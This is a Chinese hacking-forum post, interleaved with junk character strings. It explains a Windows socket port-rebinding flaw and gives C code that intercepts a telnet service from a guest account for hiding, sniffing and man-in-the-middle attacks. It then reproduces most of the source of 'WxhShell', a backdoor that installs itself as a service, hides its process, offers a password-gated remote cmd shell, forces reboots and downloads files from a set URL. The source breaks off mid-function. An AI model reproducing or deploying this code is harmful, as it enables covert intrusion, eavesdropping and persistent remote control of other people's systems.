-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;lX(}2tXW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,"0)6=AE >gll-&;t saddr.sin_family = AF_INET; nz.{P@[Qk 13'vH]S$M saddr.sin_addr.s_addr = htonl(INADDR_ANY); $
<8~k^ OFkNl}D bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _jU5O; Ter:sge7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zvc`3 'J)2g"T@ 这意味着什么?意味着可以进行如下的攻击: =:,xxqy -f1k0QwL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ![6EUMx q=Zr>I;(Ks 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +k<w!B*
x`RTp:# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >O9o,o/6R ]q5`YB%_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 3uu~p!2 @wmi5oExc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fU3`v\X 7}O.wUKw% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BKa-
k! &)F*@C- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ikB Yd
}5 ~ I}9;XT #include smY$-v)@ #include CWo1.pV w #include '|>9C^E9X #include 0yM[Z':i'{ DWORD WINAPI ClientThread(LPVOID lpParam); bAk&~4Y_" int main() C#;jYBtT7? { r\6"5cQ= WORD wVersionRequested; $h[QQ- DWORD ret; 69y;`15 WSADATA wsaData; S{Hx]\ BOOL val; 9Mp$8-=>7 SOCKADDR_IN saddr; g.JN_t5 SOCKADDR_IN scaddr; 2?C`4AR[2H int err; 3VnQnd E SOCKET s; ?YM4b5!3T SOCKET sc; /Ss7"*JLe int caddsize; d@0Kr5_ HANDLE mt; b
IW'c_
, DWORD tid; DciwQcG wVersionRequested = MAKEWORD( 2, 2 ); UM*jKi2]" err = WSAStartup( wVersionRequested, &wsaData ); {%v-( if ( err != 0 ) { q@5K6yE printf("error!WSAStartup failed!\n"); Y<"7x#AB! return -1; cV{%^0?D } 5v)(8|.M saddr.sin_family = AF_INET; %%ae^*[!n :1q4"tv| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }U w&Ny `~UZU@/x saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o'<^LYSnB saddr.sin_port = htons(23); bOp54WI-g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y7i %W4 { FSuAjBl0- printf("error!socket failed!\n"); ,5Pl\keY return -1; DD9 ?V}Yx } +y2[msBs val = TRUE; gnp~OVDqfL //SO_REUSEADDR选项就是可以实现端口重绑定的 tcr// if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >N\0"F7. { &M/0g]4p printf("error!setsockopt failed!\n"); kU-t7'?4 return -1; l=N2lHU } raVA?|'g~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D0(xNhmKz //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;;$# )b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C${S^v ajRSMcKb7i if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %n%xR%| { PfS:AIy ret=GetLastError(); 2jsw"aHW printf("error!bind failed!\n"); ZlYPoOq return -1; *=ZsqOHwG } U'UQ|%5f listen(s,2); :4)Qt while(1) qjAWeS/ { /N>e&e[35\ caddsize = sizeof(scaddr); [+*$\ //接受连接请求 /WV7gO&L1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >R{qESmP= if(sc!=INVALID_SOCKET) 1
Q-bYJG { AB Xl mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x6afI<dm if(mt==NULL) UX<Qcjm$e { F["wDO printf("Thread Creat Failed!\n"); SjjIr ^ break; *{undZ?(> } v1k)hFjPK } 5m=I*.qE CloseHandle(mt); MC((M,3L } bb42v7? closesocket(s); b?4/#&z] WSACleanup(); n26Y]7N return 0; Kz<@x`0 } 8By,#T". DWORD WINAPI ClientThread(LPVOID lpParam) ]u-]'P { I]Tsz'T!9 SOCKET ss = (SOCKET)lpParam; ``,k5!a66\ SOCKET sc; 3lLMu B+ unsigned char buf[4096]; E+"dqSI/v SOCKADDR_IN saddr; ._wkj long num; Giq=*D+ DWORD val; 5WqXo{S DWORD ret; >StO.Q99 //如果是隐藏端口应用的话,可以在此处加一些判断 5G0$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 kY,U8a3! saddr.sin_family = AF_INET; 1C Pjil*eb saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Iq+>qX saddr.sin_port = htons(23); MC0TaP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #zrTY9m7 { m|=Ecu printf("error!socket failed!\n"); cw&Hgjj2
return -1; @ DZD } }~h'FHCC+ val = 100; 6~#Ih)K if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z|?R/Gf8 { q1y/x@ ret = GetLastError(); h=kQ$`j6 return -1; iyVB3:M } 0w'j+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Et"?8\"n7 { T&T/C@z'R ret = GetLastError(); 58%'UwKn return -1; ?6c-7QV } P^MOx4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G5dO 3lwq { .0 u/|Yx printf("error!socket connect failed!\n"); 2M)]!lYy closesocket(sc); Tj~IaU closesocket(ss); S1 _6C:^k return -1; qj01] } H4OhIxK while(1) G>YAJo { (vR 9H(# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a</D_66 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?Y:x[pOe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;)Kh;;e num = recv(ss,buf,4096,0); &`Y!;@K9W# if(num>0) xX0-]Y h: send(sc,buf,num,0); Cp^@zw*/ else if(num==0) <)g8yA break; <J(sR num = recv(sc,buf,4096,0); h0?2j)X_
if(num>0) jNwjK0? send(ss,buf,num,0); /$n ~lf else if(num==0) c[}(OH break; eMOD;{Q?X } t3Z_Dp~\ closesocket(ss); uUE9g closesocket(sc); UV}73Sp return 0 ; 5ep/h5*/ } j4FeSGa Lf:uNl*D oHM
] ========================================================== *O:r7_ Y0 :ztr) 下边附上一个代码,,WXhSHELL ERUt'1F?] kE.x+2 ========================================================== K.C>
a:J 0.r4f'vk #include "stdafx.h" 0s#vwK13 }MR1^ #include <stdio.h> 7;.xc{ #include <string.h> [w
-{r+[ #include <windows.h> oMcK`%ydm #include <winsock2.h> s57N) 0kP #include <winsvc.h> sGY_{CZ: #include <urlmon.h> #6+FY+/ rA0,`}8\ #pragma comment (lib, "Ws2_32.lib")
N-lGa@ j #pragma comment (lib, "urlmon.lib") NRnRMY- 0U66y6 #define MAX_USER 100 // 最大客户端连接数 -71dN0hWh #define BUF_SOCK 200 // sock buffer -B#yy]8 #define KEY_BUFF 255 // 输入 buffer g]* eRbGZYrJ #define REBOOT 0 // 重启 ^n#1<K[E #define SHUTDOWN 1 // 关机
|eoid?= qo+N,x9o #define DEF_PORT 5000 // 监听端口 &m3.h!dq ;TQf5|R\K #define REG_LEN 16 // 注册表键长度 qZ@0]"h #define SVC_LEN 80 // NT服务名长度 zWw2V}U! w)E@*h<Z // 从dll定义API BhpOXqg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6Dws,_UAZ4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5q{h 2).) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tC8(XMVx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O^LTD#}$a) u{&B^s)k. // wxhshell配置信息 =9L$L|W struct WSCFG { {-9jm%N int ws_port; // 监听端口 iK;dU2h char ws_passstr[REG_LEN]; // 口令 QH4wUU3X int ws_autoins; // 安装标记, 1=yes 0=no a\kb^D=T char ws_regname[REG_LEN]; // 注册表键名 HQ!Xj.y char ws_svcname[REG_LEN]; // 服务名 puSLqouTM char ws_svcdisp[SVC_LEN]; // 服务显示名 fQWIw char ws_svcdesc[SVC_LEN]; // 服务描述信息 < (RC|? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^Yr0@pE int ws_downexe; // 下载执行标记, 1=yes 0=no TAL/a*7\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" vv6$>SU char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [\)oo y<W8Q<9 }; kI*(V[i *VSel4;\t // default Wxhshell configuration 3zuF{Q2P< struct WSCFG wscfg={DEF_PORT, hovGQHg "xuhuanlingzhe", g*\/N,"z 1, lJykyyCY+ "Wxhshell", ,O=a*%0rt "Wxhshell", \8uo{#cL8 "WxhShell Service", 2.}R "Wrsky Windows CmdShell Service", !=Y;h[J.p "Please Input Your Password: ", ~Y=@$!Uq 1, VvByHcLv " http://www.wrsky.com/wxhshell.exe", ;y?);!g "Wxhshell.exe" ;N+$2w }; 71FeDpe 6XEZ4QP} // 消息定义模块 `U!y&Q$, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GYRYbiwqdi char *msg_ws_prompt="\n\r? for help\n\r#>"; O@8pC+#`Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; W:&R~R char *msg_ws_ext="\n\rExit."; k!jNOqbb char *msg_ws_end="\n\rQuit."; J.*XXM- V char *msg_ws_boot="\n\rReboot..."; K5 3MMH[q# char *msg_ws_poff="\n\rShutdown..."; S6nhvU: char *msg_ws_down="\n\rSave to "; Mro4`GL gLD`wfZR char *msg_ws_err="\n\rErr!"; {!ZyCi19 char *msg_ws_ok="\n\rOK!"; ^jdL@#k00 r'/;O char ExeFile[MAX_PATH]; OL59e%X int nUser = 0; oqkVYl E HANDLE handles[MAX_USER]; =1/NFlt8 int OsIsNt; PL0`d`TI ~%w~-O2 SERVICE_STATUS serviceStatus; TmRxKrRs SERVICE_STATUS_HANDLE hServiceStatusHandle; fT:}Lj\L1 PsjbR // 函数声明 ]*"s\ix int Install(void); XY7Qa!>7j int Uninstall(void); [um&X=1V8 int DownloadFile(char *sURL, SOCKET wsh); xc
1A$EY int Boot(int flag); R5Yl 1 void HideProc(void); .;/L2Jv int GetOsVer(void); &!.HuRiuC int Wxhshell(SOCKET wsl); )9"oL!2h void TalkWithClient(void *cs); dLh6:Gh8_I int CmdShell(SOCKET sock); `linG1mF int StartFromService(void); -H(vL= int StartWxhshell(LPSTR lpCmdLine); H!r &aP @B1{r|-<^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F:FMeg VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,#u\l>&$ |qcD; // 数据结构和表定义 >X}{BDMb. SERVICE_TABLE_ENTRY DispatchTable[] = ,+/zH'U} { y+mElG$F {wscfg.ws_svcname, NTServiceMain},
Ayx^Wp*s {NULL, NULL} Eyh|a.)- }; wJ"ev.A) ~2}Pl) // 自我安装 sLh0&R7 int Install(void) _uH9XGm { 6k0^ x Q char svExeFile[MAX_PATH]; 'UwI*EW2S HKEY key; DQ!J!ltQ strcpy(svExeFile,ExeFile); _."E%|5 gy_$#e // 如果是win9x系统,修改注册表设为自启动 ma8wmQ9 JR if(!OsIsNt) { 4Kp L>'Q= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L ^Y3=1#"g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /lD?VE RegCloseKey(key); z_SagU,\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |"k&fkS$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;b~~s.+ RegCloseKey(key); <!x+eE` return 0; ~t/JCxa } Hhv$4;&X } hY;_/!_ } 8[5|_Eh+ else { Lyoor1 QXQ // 如果是NT以上系统,安装为系统服务 Bku'H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hw,^G5m if (schSCManager!=0) >]$aoA# { (Pi-uL<[a SC_HANDLE schService = CreateService *3Nn +T
( E&2tBrAq schSCManager, 3]}'TA`v wscfg.ws_svcname, (aKZ5>>cN wscfg.ws_svcdisp, }5gr5g\OtP SERVICE_ALL_ACCESS, _vrWj<wyf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w=J4zkWk SERVICE_AUTO_START, T%I&txl SERVICE_ERROR_NORMAL, RsSXhPk? svExeFile, W"sr$K2m| NULL, b~Z=:'m8 NULL, D s-` NULL, y4F^|kS) [ NULL, R2^iSl%pj NULL F$Pp]"82'm ); jxY-u+B if (schService!=0) b7$}JCn { m^tNqJs8 CloseServiceHandle(schService); :,F=w0O CloseServiceHandle(schSCManager); )SiY(8y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J+2R&3;_O strcat(svExeFile,wscfg.ws_svcname); *8\(FVyG^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @-6?i) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hZuYdV{'h RegCloseKey(key); -V=arm\#z return 0; M\UWWb&%\ } "{F;M{h$}, } :C%47qv CloseServiceHandle(schSCManager); 9*p G?3*I } 3%IWGmye4 } z\}!RBOq 9~Xg#{ return 1; Fk$@Yy+}e } dF,DiRD i$O#%12l // 自我卸载 yiT{+;g^ int Uninstall(void) |R~;&x: { "6V_/u5M;= HKEY key; hEOJb
@:R WEC-<fN|Y\ if(!OsIsNt) { |h,FUj<r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oQvFrSz RegDeleteValue(key,wscfg.ws_regname); NgxO&Zp RegCloseKey(key); RndOm.TE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kPJ~X0Fr{t RegDeleteValue(key,wscfg.ws_regname); ?UK:sF|(O RegCloseKey(key); Yq;&F0paK return 0; MVAc8d S } OK\]*r } M(S{1|,V } # U`&jBU else { }#YQg0( Q-Y@)Mf~?0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); liG~y| if (schSCManager!=0) LW?2}`+ { GTFl}t SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UCF[oO>v if (schService!=0) '%Dg{ zL { ZOHRUm if(DeleteService(schService)!=0) { bX{PSjD CloseServiceHandle(schService); g
=\13#F CloseServiceHandle(schSCManager); J~2CD*v return 0; r %xB8e9 } YPQCOG CloseServiceHandle(schService); ~%G Ssm\J } *]9XDc]{j1 CloseServiceHandle(schSCManager); WFdem/\kX } Prt#L8 } /O"0L/hc^ gT7I9 (x!W return 1; $y4M#yv } :+A;TV 9jjL9f_3 // 从指定url下载文件 zf")|9j int DownloadFile(char *sURL, SOCKET wsh) nP)-Y#`~7 { m2MPWy5s HRESULT hr; <^'{ G char seps[]= "/"; V9]uFL char *token; {q2<KRU2+# char *file; Px#4pmz char myURL[MAX_PATH]; <M>#qd@c
char myFILE[MAX_PATH]; %>]#vQ| =z%s8D2 strcpy(myURL,sURL); m-#d8sD2C token=strtok(myURL,seps); ;@O(z*14@ while(token!=NULL) %w%zv2d { ,,2_/u\"/i file=token; L`bo#,eg6 token=strtok(NULL,seps); qZc)Sa.S } Ot"(uW4$[ dK7 ^ GetCurrentDirectory(MAX_PATH,myFILE); 8Nv-/VQ/b strcat(myFILE, "\\"); ,dq`EsHg`M strcat(myFILE, file); /^WE@r[: send(wsh,myFILE,strlen(myFILE),0); )xbqQW7%0+ send(wsh,"...",3,0); 7dx4~dF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rr6"Y&v if(hr==S_OK) 6P6Jx; return 0; k dUc& else QD6Z=>?S return 1; l>33z_H^ XAGiu;<,= } $o::PDQ? :4b- sg# // 系统电源模块 !-@SS> int Boot(int flag) wf^cyCR0 { _4De!q0( HANDLE hToken; lHRK'?Q TOKEN_PRIVILEGES tkp; ^&e;8d|f{ QTJrJD if(OsIsNt) { ol1AD: Ho OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DOA[iT";4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !DCVoc]pV tkp.PrivilegeCount = 1; LE Jlo%M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /Ir 7
DZK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7YSuB9{M if(flag==REBOOT) { ]lC4+{V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <4S F~i return 0; ~n)]dFy } eq7C]i
rH else { W>UjUq); if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ">0 /8] l return 0; 9 ?[4i' } rUhWZta } )Ep@$Gv|S else { -1dIZy if(flag==REBOOT) { 0!)U *+j, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -U&098}<K return 0; (u$!\fE-et } ([E#zrz% else { 4_Tb)?L+: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !G@V<'F return 0; p` ^:Q*C" } :Fq2x_IUE } ei(|5h R#rh return 1; k$Nx6?8E } `\6 +z 4ZSfz#<[z // win9x进程隐藏模块 K4BTk! void HideProc(void) iFXUKGiV { 1/F<T &4a~6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r< N-A?a if ( hKernel != NULL ) &*h`b{] { #p;4:IT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )2
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sf#\6X<B FreeLibrary(hKernel); 9G=A)j } +<vqkc )@?Qt2 return; fLf#2EA } jauc*347 g#pIMA#/ // 获取操作系统版本 jKe$&.q@ int GetOsVer(void) ) >-D={ { K]lb8q}Z~ OSVERSIONINFO winfo; _&6juBb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~`a#h# GetVersionEx(&winfo); )L&n)w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y?rK5Yos return 1; T(t
<Ay?c else xV
}:M return 0; Wl@0TUK } lUy*549, IX > j8z[ // 客户端句柄模块 96^1Ivd int Wxhshell(SOCKET wsl) `*.r'k2R { w%!k?t,*] SOCKET wsh; .je~qo) struct sockaddr_in client; A@fshWrl% DWORD myID; J?UZN^ "1=.5:yG while(nUser<MAX_USER) D~t"9Z\ { E#WjoIk int nSize=sizeof(client); }-k_?2"A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1VPfa if(wsh==INVALID_SOCKET) return 1; t/EMBfLc o)$Q]N## handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tOp:e KN if(handles[nUser]==0) ZKiL-^dob closesocket(wsh); '2i)#~YO< else !rN#PF> nUser++; `t/@ L: } pEqr0Qwh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '=@H2T6= >"m@qkh return 0; 8z3I~yL_`+ } /I`!iK 9|?(GG // 关闭 socket ;Fwm1ezx0 void CloseIt(SOCKET wsh) 8/kx 3 { HT1dvC$COo closesocket(wsh); 519:yt nUser--; l%Fse&4\ ExitThread(0); : Oz7R: } Sj=69>m]5 ;^*+:e // 客户端请求句柄 HnYFE@Nl:U void TalkWithClient(void *cs) \M1M2(@pDJ { MSrY*)n!>O GYy!`E SOCKET wsh=(SOCKET)cs; bl+@}+A char pwd[SVC_LEN]; GXAk*vS=G char cmd[KEY_BUFF]; J7 zVi char chr[1]; WP#_qqO int i,j; ""U?#<}GD MSm`4lw while (nUser < MAX_USER) { HK,G8:T ]R3pBC"Jv if(wscfg.ws_passstr) { v1tN
DyM6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9^[5!SMzCj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0;m$a= //ZeroMemory(pwd,KEY_BUFF); y9l.i@-
i=0; h(N9RJ} while(i<SVC_LEN) { J=Y( *D7Q [?K\%] // 设置超时 ]oWZ{#r2 fd_set FdRead; :6Pc m3 struct timeval TimeOut; #|*,zIYo FD_ZERO(&FdRead); Q i'WV9ke FD_SET(wsh,&FdRead); ,VcDvZ7 TimeOut.tv_sec=8; BD-c 0-+m TimeOut.tv_usec=0; ,oi`BOh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wDC/w[4: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O%Gsk'mo fG[3%e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DJ2]NA$Q* pwd =chr[0]; *Yk8Mj^_h if(chr[0]==0xd || chr[0]==0xa) { e7)%=F/) pwd=0; g cK" break; N@du.d: } 1p"EE~v i++; XCi]()TZ_ } j*Wh;I+h '2qxcc o // 如果是非法用户,关闭 socket -aeo7C if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #SLxN AH } S&))
0d +qW w-8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
qzbkxQu]g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?GD?J(S gp&&
c, while(1) { \eSk7C Hpo?|;3D5 ZeroMemory(cmd,KEY_BUFF); 6x zR*~7 K7R])*B.~ // 自动支持客户端 telnet标准 3K20f8g j=0; w)y9!li while(j<KEY_BUFF) { _I}L$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cPBy(5^ cmd[j]=chr[0]; >^\>-U| if(chr[0]==0xa || chr[0]==0xd) { [#*?uu+
jK cmd[j]=0; V1fvQ=9 break; +}L3T" } ~1]2A[`s! j++; LU IT=+ } R&|)y:bg| Y"
+1,?yH // 下载文件 AqKx3p6 if(strstr(cmd,"http://")) { @7Rt[2"e send(wsh,msg_ws_down,strlen(msg_ws_down),0); 08n%%
F if(DownloadFile(cmd,wsh))
a):Run send(wsh,msg_ws_err,strlen(msg_ws_err),0); jvQ+u L else pZJQKTCG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C.e|VzQa } %LZM5Z^ else { Xgth|C}k F@(}=w^(A switch(cmd[0]) { YU0HySP: '<W,-i // 帮助 HF=C8ZtlL case '?': { 1*,~ 1!> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EKS<s82hF& break; r-Xe<|w } xS-nO_t 'E // 安装 Jz3<yQ- case 'i': { I%b:Z if(Install()) .dLX'84fY send(wsh,msg_ws_err,strlen(msg_ws_err),0); e2o9)=y else DW%K'+@M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?9okjLp1n break; HNUR6H&Fta } oYm{I ~" // 卸载 \V-
Y,!~5 case 'r': { it|:P if(Uninstall()) e^Wv*OD' send(wsh,msg_ws_err,strlen(msg_ws_err),0); .O-DVW Cm else 9X&qdA/q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S^`9[$KH0 break; Ty|c@X } F*( A; N_y // 显示 wxhshell 所在路径 pC.4AkEO case 'p': { Py0i%pZ char svExeFile[MAX_PATH]; )n[Mh!mn strcpy(svExeFile,"\n\r");
j.v _ strcat(svExeFile,ExeFile); Y'%Iat(z send(wsh,svExeFile,strlen(svExeFile),0); iZUz6 break; \bl,_{z? } *rKv`nva5 // 重启 ^^Q32XC, case 'b': { e6xjlaKb send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
~zC fan/ if(Boot(REBOOT)) Gz5@1CF send(wsh,msg_ws_err,strlen(msg_ws_err),0); RIqxM else { G6F['g); closesocket(wsh); VRP.tD ExitThread(0); [gr[0aG Bc } k*6eZ 7 break; @z JZoJL]J } qa`(,iN // 关机 "EkO>M/fr case 'd': { > 5:e1a?9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fTtSx_}3H if(Boot(SHUTDOWN)) vjRD?kF send(wsh,msg_ws_err,strlen(msg_ws_err),0); x(N}^Hu else { X.Y)'qSf closesocket(wsh); R*G>)YH ExitThread(0); /Z_ [)PTH } gm$MEeC break; I2!HXMrp } (lsod#wEMg // 获取shell 7TY"{?~O5 case 's': { #l%
\}OC CmdShell(wsh); ouZ9oy(}a closesocket(wsh); %9)J-B ExitThread(0); %D0Ws9:| break; '=Y~Ir+ } 3o/a8 // 退出 |i}g7 case 'x': { B&j+fi send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Sp~+#XnF CloseIt(wsh); LbI])M break; -7VV5W } 1vudT& // 离开
o*1`, n case 'q': { leJd){ send(wsh,msg_ws_end,strlen(msg_ws_end),0); RA67w& closesocket(wsh); > o`RPWs WSACleanup(); @CUDD{1o exit(1); <"% h1{V break; %4K#<b"W } d/QM } iPYlTV } wf$ JuHPt L<]PK4 // 提示信息 e2ZUl` {g if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
&g>+tkC } hG3Lj7)UH } F4gc_>{| !qve1H4d2 return; t4f\0`jN } *j :5 YL0RQa // shell模块句柄 x"De
9SB int CmdShell(SOCKET sock) `sC8ro@Fm { lB@K;E@r8 STARTUPINFO si; =R`2 m ZeroMemory(&si,sizeof(si)); ka[NYW{. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D8XXm lo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a,9GSKXo1 PROCESS_INFORMATION ProcessInfo; sxa
( char cmdline[]="cmd"; {Vu:yh\< CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nK=V` return 0; 8#B;nyGD1I } "//
8^e%Xo +-V?3fQ // 自身启动模式 ?&_\$L[ int StartFromService(void) #oY7v,x\ { 2 G{KpM& typedef struct Z`MQ+ { 'J$NW DWORD ExitStatus; cXH?'q'vZ DWORD PebBaseAddress; v0H#\p DWORD AffinityMask; -3Hq 1 DWORD BasePriority; Mpx.n]O. ULONG UniqueProcessId;
xoaQ5u ULONG InheritedFromUniqueProcessId; JwcP[w2 } PROCESS_BASIC_INFORMATION; !1R CB)#;
